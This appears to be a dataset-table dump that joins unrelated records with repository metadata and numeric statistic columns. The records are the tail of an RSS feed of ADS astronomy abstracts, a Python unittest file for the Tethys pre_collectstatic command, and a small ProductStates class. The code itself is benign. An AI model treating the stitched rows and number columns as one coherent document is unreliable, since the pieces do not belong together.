rely primarily upon ground-based tracking and computational\ncenters with little or no navigational function allocated to the\nvehicle, while technology development efforts have been and continue to\nbe directed primarily toward onboard navigation suites. The military\nsignificance of onboard navigators is shown to both improve spacecraft\nsurvivability and performance (accuracy). <P /></description>\n</item>\n\n<item>\n<title>Nayfeh, Ali H.: Applied nonlinear dynamics: analytical, computational and experimental methods</title>\n<link>https://ui.adsabs.harvard.edu/abs/1995anda.book.....N</link>\n<description>Not Available <P /></description>\n</item>\n\n<item>\n<title>Ginsparg, Paul: Applied Conformal Field Theory</title>\n<link>https://ui.adsabs.harvard.edu/abs/1991hep.th....8028G</link>\n<description>These lectures consisted of an elementary introduction to conformal\nfield theory, with some applications to statistical mechanical systems,\nand fewer to string theory. Contents: 1. Conformal theories in d\ndimensions 2. Conformal theories in 2 dimensions 3. The central charge\nand the Virasoro algebra 4. Kac determinant and unitarity 5.\nIdentication of m = 3 with the critical Ising model 6. Free bosons and\nfermions 7. Free fermions on a torus 8. Free bosons on a torus 9. Affine\nKac-Moody algebras and coset constructions 10. Advanced applications <P\n/></description>\n</item>\n\n<item>\n<title>Khatib, A. R.: Autonomous navigation using lunar beacons</title>\n<link>https://ui.adsabs.harvard.edu/abs/1983aiaa.meetY....K</link>\n<description>The concept of using lunar beacon signal transmission for on-board\nnavigation for earth satellites and near-earth spacecraft is described.\nThe system would require powerful transmitters on the earth-side of the\nmoon\'s surface and black box receivers with antennae and microprocessors\nplaced on board spacecraft for autonomous navigation. Spacecraft\nnavigation requires three position and three velocity elements to\nestablish location coordinates. Two beacons could be soft-landed on the\nlunar surface at the limits of allowable separation and each would\ntransmit a wide-beam signal with cones reaching GEO heights and be\nstrong enough to be received by small antennae in near-earth orbit. The\nblack box processor would perform on-board computation with one-way\nDoppler/range data and dynamical models. Alternatively, GEO satellites\nsuch as the GPS or TDRSS spacecraft can be used with interferometric\ntechniques to provide decimeter-level accuracy for aircraft navigation.\n<P /></description>\n</item>\n</channel>\n</rss>'} | 8,901 | 26,678 | 0.801034 | 4,276 | 26,703 | 5.000702 | 0.367867 | 0.010289 | 0.012346 | 0.016836 | 0.093111 | 0.091708 | 0.088715 | 0.085255 | 0.084132 | 0.050461 | 0 | 0.028306 | 0.117552 | 26,703 | 3 | 26,678 | 8,901 | 0.879138 | 0.000786 | 0 | 0 | 0 | 4 | 0.757655 | 0.067314 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 0 | 8 |
6834066f61265e638c09a7a9d705beae96744888 | 14,407 | py | Python | tests/unit_tests/test_tethys_apps/test_management/test_commands/test_pre_collectstatic.py | msouff/tethys | 45795d1e6561d5db8fddd838f4d1ae1d91dbb837 | [
"BSD-2-Clause"
] | null | null | null | tests/unit_tests/test_tethys_apps/test_management/test_commands/test_pre_collectstatic.py | msouff/tethys | 45795d1e6561d5db8fddd838f4d1ae1d91dbb837 | [
"BSD-2-Clause"
] | null | null | null | tests/unit_tests/test_tethys_apps/test_management/test_commands/test_pre_collectstatic.py | msouff/tethys | 45795d1e6561d5db8fddd838f4d1ae1d91dbb837 | [
"BSD-2-Clause"
] | null | null | null | import unittest
from unittest import mock
from tethys_apps.management.commands import pre_collectstatic
class ManagementCommandsPreCollectStaticTests(unittest.TestCase):
def setUp(self):
pass
def tearDown(self):
pass
@mock.patch('tethys_apps.management.commands.pre_collectstatic.print')
@mock.patch('tethys_apps.management.commands.pre_collectstatic.exit')
@mock.patch('tethys_apps.management.commands.pre_collectstatic.settings')
def test_handle_no_static_root(self, mock_settings, mock_exit, mock_print):
mock_settings.STATIC_ROOT = None
# NOTE: to prevent our tests from exiting prematurely, we change the behavior of exit to raise an exception
# to break the code execution, which we catch below.
mock_exit.side_effect = SystemExit
cmd = pre_collectstatic.Command()
self.assertRaises(SystemExit, cmd.handle)
print_args = mock_print.call_args_list
msg_warning = 'WARNING: Cannot find the STATIC_ROOT setting in the settings.py file. Please provide the ' \
'path to the static directory using the STATIC_ROOT setting and try again.'
self.assertEqual(msg_warning, print_args[0][0][0])
@mock.patch('tethys_apps.management.commands.pre_collectstatic.print')
@mock.patch('tethys_apps.management.commands.pre_collectstatic.os.symlink')
@mock.patch('tethys_apps.management.commands.pre_collectstatic.os.path.isdir')
@mock.patch('tethys_apps.management.commands.pre_collectstatic.os.remove')
@mock.patch('tethys_apps.management.commands.pre_collectstatic.get_installed_tethys_extensions')
@mock.patch('tethys_apps.management.commands.pre_collectstatic.get_installed_tethys_apps')
@mock.patch('tethys_apps.management.commands.pre_collectstatic.settings')
def test_handle_public_not_static(self, mock_settings, mock_get_apps, mock_get_extensions, mock_os_remove,
mock_os_path_isdir, mock_os_symlink, mock_print):
mock_settings.STATIC_ROOT = '/foo/testing/tests'
mock_get_apps.return_value = {'foo_app': '/foo/testing/tests/foo_app'}
mock_get_extensions.return_value = {'foo_extension': '/foo/testing/tests/foo_extension'}
mock_os_remove.return_value = True
mock_os_path_isdir.return_value = True
mock_os_symlink.return_value = True
cmd = pre_collectstatic.Command()
cmd.handle(options='foo')
mock_get_apps.assert_called_once()
mock_get_extensions.assert_called_once()
mock_os_remove.assert_any_call('/foo/testing/tests/foo_app')
mock_os_remove.assert_any_call('/foo/testing/tests/foo_extension')
mock_os_path_isdir.assert_any_call('/foo/testing/tests/foo_app/public')
mock_os_path_isdir.assert_any_call('/foo/testing/tests/foo_extension/public')
mock_os_symlink.assert_any_call('/foo/testing/tests/foo_app/public', '/foo/testing/tests/foo_app')
mock_os_symlink.assert_any_call('/foo/testing/tests/foo_extension/public',
'/foo/testing/tests/foo_extension')
print_args = mock_print.call_args_list
msg = 'INFO: Linking static and public directories of apps and extensions to "{0}".'\
. format(mock_settings.STATIC_ROOT)
msg_info_first = 'INFO: Successfully linked public directory to STATIC_ROOT for app "foo_app".'
msg_info_second = 'INFO: Successfully linked public directory to STATIC_ROOT for app "foo_extension".'
check_list = []
for i in range(len(print_args)):
check_list.append(print_args[i][0][0])
self.assertIn(msg, check_list)
self.assertIn(msg_info_first, check_list)
self.assertIn(msg_info_second, check_list)
msg_warning_not_in = 'WARNING: Cannot find the STATIC_ROOT setting'
msg_not_in = 'Please provide the path to the static directory'
info_not_in_first = 'INFO: Successfully linked static directory to STATIC_ROOT for app "foo_app".'
info_not_in_second = 'INFO: Successfully linked static directory to STATIC_ROOT for app "foo_extension".'
for i in range(len(print_args)):
self.assertNotEqual(msg_warning_not_in, print_args[i][0][0])
self.assertNotEqual(msg_not_in, print_args[i][0][0])
self.assertNotEqual(info_not_in_first, print_args[i][0][0])
self.assertNotEqual(info_not_in_second, print_args[i][0][0])
@mock.patch('tethys_apps.management.commands.pre_collectstatic.print')
@mock.patch('tethys_apps.management.commands.pre_collectstatic.os.symlink')
@mock.patch('tethys_apps.management.commands.pre_collectstatic.os.path.isdir')
@mock.patch('tethys_apps.management.commands.pre_collectstatic.shutil.rmtree')
@mock.patch('tethys_apps.management.commands.pre_collectstatic.os.remove')
@mock.patch('tethys_apps.management.commands.pre_collectstatic.get_installed_tethys_extensions')
@mock.patch('tethys_apps.management.commands.pre_collectstatic.get_installed_tethys_apps')
@mock.patch('tethys_apps.management.commands.pre_collectstatic.settings')
def test_handle_public_not_static_Exceptions(self, mock_settings, mock_get_apps, mock_get_extensions,
mock_os_remove, mock_shutil_rmtree, mock_os_path_isdir,
mock_os_symlink, mock_print):
mock_settings.STATIC_ROOT = '/foo/testing/tests'
mock_get_apps.return_value = {'foo_app': '/foo/testing/tests/foo_app'}
mock_get_extensions.return_value = {'foo_extension': '/foo/testing/tests/foo_extension'}
mock_os_remove.side_effect = OSError
mock_shutil_rmtree.side_effect = OSError
mock_os_path_isdir.return_value = True
mock_os_symlink.return_value = True
cmd = pre_collectstatic.Command()
cmd.handle(options='foo')
mock_get_apps.assert_called_once()
mock_get_extensions.assert_called_once()
mock_os_remove.assert_any_call('/foo/testing/tests/foo_app')
mock_os_remove.assert_any_call('/foo/testing/tests/foo_extension')
mock_shutil_rmtree.assert_any_call('/foo/testing/tests/foo_app')
mock_shutil_rmtree.assert_any_call('/foo/testing/tests/foo_extension')
mock_os_path_isdir.assert_any_call('/foo/testing/tests/foo_app/public')
mock_os_path_isdir.assert_any_call('/foo/testing/tests/foo_extension/public')
mock_os_symlink.assert_any_call('/foo/testing/tests/foo_app/public', '/foo/testing/tests/foo_app')
mock_os_symlink.assert_any_call('/foo/testing/tests/foo_extension/public',
'/foo/testing/tests/foo_extension')
msg_infor_1 = 'INFO: Linking static and public directories of apps and extensions to "{0}".'\
.format(mock_settings.STATIC_ROOT)
msg_infor_2 = 'INFO: Successfully linked public directory to STATIC_ROOT for app "foo_app".'
msg_infor_3 = 'INFO: Successfully linked public directory to STATIC_ROOT for app "foo_extension".'
warn_not_in = 'WARNING: Cannot find the STATIC_ROOT setting'
msg_not_in = 'Please provide the path to the static directory'
info_not_in_first = 'INFO: Successfully linked static directory to STATIC_ROOT for app "foo_app".'
info_not_in_second = 'INFO: Successfully linked static directory to STATIC_ROOT for app "foo_extension".'
print_args = mock_print.call_args_list
check_list = []
for i in range(len(print_args)):
check_list.append(print_args[i][0][0])
self.assertIn(msg_infor_1, check_list)
self.assertIn(msg_infor_2, check_list)
self.assertIn(msg_infor_3, check_list)
for i in range(len(print_args)):
self.assertNotEqual(warn_not_in, print_args[i][0][0])
self.assertNotEqual(msg_not_in, print_args[i][0][0])
self.assertNotEqual(info_not_in_first, print_args[i][0][0])
self.assertNotEqual(info_not_in_second, print_args[i][0][0])
@mock.patch('tethys_apps.management.commands.pre_collectstatic.print')
@mock.patch('tethys_apps.management.commands.pre_collectstatic.os.symlink')
@mock.patch('tethys_apps.management.commands.pre_collectstatic.os.path.isdir')
@mock.patch('tethys_apps.management.commands.pre_collectstatic.os.remove')
@mock.patch('tethys_apps.management.commands.pre_collectstatic.get_installed_tethys_extensions')
@mock.patch('tethys_apps.management.commands.pre_collectstatic.get_installed_tethys_apps')
@mock.patch('tethys_apps.management.commands.pre_collectstatic.settings')
def test_handle_not_public_static(self, mock_settings, mock_get_apps, mock_get_extensions, mock_os_remove,
mock_os_path_isdir, mock_os_symlink, mock_print):
mock_settings.STATIC_ROOT = '/foo/testing/tests'
mock_get_apps.return_value = {'foo_app': '/foo/testing/tests/foo_app'}
mock_get_extensions.return_value = {'foo_extension': '/foo/testing/tests/foo_extension'}
mock_os_remove.return_value = True
mock_os_path_isdir.side_effect = [False, True, False, True]
mock_os_symlink.return_value = True
cmd = pre_collectstatic.Command()
cmd.handle(options='foo')
mock_get_apps.assert_called_once()
mock_get_extensions.assert_called_once()
mock_os_remove.assert_any_call('/foo/testing/tests/foo_app')
mock_os_remove.assert_any_call('/foo/testing/tests/foo_extension')
mock_os_path_isdir.assert_any_call('/foo/testing/tests/foo_app/static')
mock_os_path_isdir.assert_any_call('/foo/testing/tests/foo_extension/static')
mock_os_symlink.assert_any_call('/foo/testing/tests/foo_app/static', '/foo/testing/tests/foo_app')
mock_os_symlink.assert_any_call('/foo/testing/tests/foo_extension/static',
'/foo/testing/tests/foo_extension')
msg_info_one = 'INFO: Linking static and public directories of apps and extensions to "{0}".'\
.format(mock_settings.STATIC_ROOT)
msg_info_two = 'INFO: Successfully linked static directory to STATIC_ROOT for app "foo_app".'
msg_info_three = 'INFO: Successfully linked static directory to STATIC_ROOT for app "foo_extension".'
warn_not_in = 'WARNING: Cannot find the STATIC_ROOT setting'
msg_not_in = 'Please provide the path to the static directory'
info_not_in_first = 'INFO: Successfully linked public directory to STATIC_ROOT for app "foo_app".'
info_not_in_second = 'INFO: Successfully linked public directory to STATIC_ROOT for app "foo_extension".'
print_args = mock_print.call_args_list
check_list = []
for i in range(len(print_args)):
check_list.append(print_args[i][0][0])
self.assertIn(msg_info_one, check_list)
self.assertIn(msg_info_two, check_list)
self.assertIn(msg_info_three, check_list)
for i in range(len(print_args)):
self.assertNotEqual(warn_not_in, print_args[i][0][0])
self.assertNotEqual(msg_not_in, print_args[i][0][0])
self.assertNotEqual(info_not_in_first, print_args[i][0][0])
self.assertNotEqual(info_not_in_second, print_args[i][0][0])
@mock.patch('tethys_apps.management.commands.pre_collectstatic.print')
@mock.patch('tethys_apps.management.commands.pre_collectstatic.os.symlink')
@mock.patch('tethys_apps.management.commands.pre_collectstatic.os.path.isdir')
@mock.patch('tethys_apps.management.commands.pre_collectstatic.os.remove')
@mock.patch('tethys_apps.management.commands.pre_collectstatic.get_installed_tethys_extensions')
@mock.patch('tethys_apps.management.commands.pre_collectstatic.get_installed_tethys_apps')
@mock.patch('tethys_apps.management.commands.pre_collectstatic.settings')
def test_handle_not_public_not_static(self, mock_settings, mock_get_apps, mock_get_extensions, mock_os_remove,
mock_os_path_isdir, mock_os_symlink, mock_print):
mock_settings.STATIC_ROOT = '/foo/testing/tests'
mock_get_apps.return_value = {'foo_app': '/foo/testing/tests/foo_app'}
mock_get_extensions.return_value = {'foo_extension': '/foo/testing/tests/foo_extension'}
mock_os_remove.return_value = True
mock_os_path_isdir.side_effect = [False, False, False, False]
mock_os_symlink.return_value = True
cmd = pre_collectstatic.Command()
cmd.handle(options='foo')
mock_get_apps.assert_called_once()
mock_get_extensions.assert_called_once()
mock_os_remove.assert_any_call('/foo/testing/tests/foo_app')
mock_os_remove.assert_any_call('/foo/testing/tests/foo_extension')
mock_os_path_isdir.assert_any_call('/foo/testing/tests/foo_app/static')
mock_os_path_isdir.assert_any_call('/foo/testing/tests/foo_extension/static')
mock_os_symlink.assert_not_called()
msg_info = 'INFO: Linking static and public directories of apps and extensions to "{0}".'\
.format(mock_settings.STATIC_ROOT)
warn_not_in = 'WARNING: Cannot find the STATIC_ROOT setting'
msg_not_in = 'Please provide the path to the static directory'
info_not_in_first = 'INFO: Successfully linked public directory to STATIC_ROOT for app "foo_app".'
info_not_in_second = 'INFO: Successfully linked public directory to STATIC_ROOT for app "foo_extension".'
info_not_in_third = 'INFO: Successfully linked static directory to STATIC_ROOT for app "foo_app".'
info_not_in_fourth = 'INFO: Successfully linked static directory to STATIC_ROOT for app "foo_extension".'
print_args = mock_print.call_args_list
self.assertEqual(msg_info, print_args[0][0][0])
for i in range(len(print_args)):
self.assertNotEqual(warn_not_in, print_args[i][0][0])
self.assertNotEqual(msg_not_in, print_args[i][0][0])
self.assertNotEqual(info_not_in_first, print_args[i][0][0])
self.assertNotEqual(info_not_in_second, print_args[i][0][0])
self.assertNotEqual(info_not_in_third, print_args[i][0][0])
self.assertNotEqual(info_not_in_fourth, print_args[i][0][0])
| 57.859438 | 115 | 0.717082 | 1,967 | 14,407 | 4.906457 | 0.065074 | 0.02922 | 0.065278 | 0.070873 | 0.916693 | 0.91317 | 0.888923 | 0.88509 | 0.877215 | 0.868304 | 0 | 0.004925 | 0.18262 | 14,407 | 248 | 116 | 58.092742 | 0.814623 | 0.010828 | 0 | 0.72549 | 0 | 0 | 0.385458 | 0.226979 | 0 | 0 | 0 | 0 | 0.308824 | 1 | 0.034314 | false | 0.009804 | 0.014706 | 0 | 0.053922 | 0.220588 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
68adcd1d750113531e20bbe0701adb5d79b34e97 | 238 | py | Python | product/product_states.py | saiihamza/open_data_parsing | 6757c6c6823a0523ca1d2af79e99b761b57a794d | [
"Apache-2.0"
] | null | null | null | product/product_states.py | saiihamza/open_data_parsing | 6757c6c6823a0523ca1d2af79e99b761b57a794d | [
"Apache-2.0"
] | null | null | null | product/product_states.py | saiihamza/open_data_parsing | 6757c6c6823a0523ca1d2af79e99b761b57a794d | [
"Apache-2.0"
] | null | null | null | class ProductStates(object):
def __init__(self, states, states_tags, states_fr):
self.States = states
self.StatesTags = states_tags
self.StatesFr = states_fr
def __str__(self):
return self.States
| 23.8 | 55 | 0.659664 | 28 | 238 | 5.178571 | 0.464286 | 0.206897 | 0.22069 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.260504 | 238 | 9 | 56 | 26.444444 | 0.823864 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | false | 0 | 0 | 0.142857 | 0.571429 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 7 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.